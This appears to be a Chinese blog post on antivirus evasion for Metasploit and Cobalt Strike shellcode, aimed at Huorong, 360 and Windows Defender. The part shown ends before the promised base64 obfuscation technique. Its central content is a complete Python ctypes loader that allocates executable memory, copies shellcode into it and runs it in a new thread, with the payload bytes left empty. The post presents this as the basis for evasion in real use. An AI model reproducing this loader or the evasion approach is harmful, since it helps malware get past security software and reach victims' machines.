admin 管理员组

文章数量: 1184232

目录

简介

环境

原理

加载ShellCode

定位特征码 

Base64编码绕过


简介

之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。

环境

  • Windows 10 x64
  • Python 3.8.3
  • Pyinstaller
  • 火绒版本:5.0.53.1,病毒库:2020-10-09
  • 360安全卫士:12.0.0.2003,备用木马库:2020-10-10
  • 360杀毒:5.0.0.8170

原理

杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:

因此,本文通过使用base64编码混淆代码来绕过特征检测。

加载ShellCode

在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:

import ctypes

shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(  
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),ctypes.c_int(0x40)
)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(wiseZERld),
    shellcode,
    ctypes.c_int(len(shellcode))
)
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread( 
    ctypes.c_int(0),#指向安全属性的指针
    ctypes.c_int(0),#初始堆栈大小
    ctypes.c_int(wiseZERld),#指向起始地址的指针
    ctypes.c_int(0),#指向任何参数的指针
    ctypes.c_int(0),#创建标志
    ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(CVXWRcjqxL),
    ctypes.c_int(-1)
)

定位特征码 

但上面的代码早已被提取特征码,杀毒软件会检测到,如图:

本文标签: 免杀火绒 python defender